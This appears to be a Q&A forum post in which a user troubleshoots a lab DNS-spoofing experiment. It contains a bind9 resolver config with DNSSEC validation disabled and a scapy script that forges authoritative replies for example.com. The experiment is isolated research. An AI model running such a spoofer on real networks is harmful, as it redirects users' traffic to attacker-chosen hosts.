As a part of an experiment I'm running 3 Ubuntu machines in the Create environment.
Call them client, server and attacker.
Client connected to server. ( and, respectively)
Server connected to attacker. ( and, respectively)
Server runs a bind9 server, and is intended to simulate a recursive resolver that forwards any query to attacker, which operates as MITM.
In the server, I've edited named.conf.options:

options {
    directory "/var/cache/bind";
    dump-file "/var/cache/bind/dump.db";

    recursion yes;
    allow-recursion { any; };
    allow-query { any; };
    allow-query-cache { any; };

    forwarders {; };
    forward only;

    dnssec-validation no;

    auth-nxdomain no;
    listen-on-v6 { any; };

In the Client, I've edited resolv.conf:

search create.iucc.ac.il

The second ns is the Create environment ns, it's not connected to the internet and only answer the query for "create.iucc.ac.il".
In the attacker I'm running the following scapy script:

 from scapy.all import *

    def callback(pkt):
        if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1,\
                qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata=""))
                send(spfResp, verbose=1)
                return 'Spoofed DNS Response Sent'

    sniff(filter="dst port 53", prn=callback)

Which is supposed to return answers for queries about "example.com".
However, when I use

dig example.com

In the client, I receive SERVFAIL from The scapy script does send the response to the server. The only time the client receives an answer (same one as the script intended) is when I spam the "dig example.com" command.
Why is it not working? Are my configurations correct?

  • What is doing in your setup ? Does things work already between client and server without attacker ? Have you looked in the logfiles ? is your attacker ? If yes I do not understand why the server is configured to forward requests to it. – Patrick Mevzek Jun 26 '17 at 22:40

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.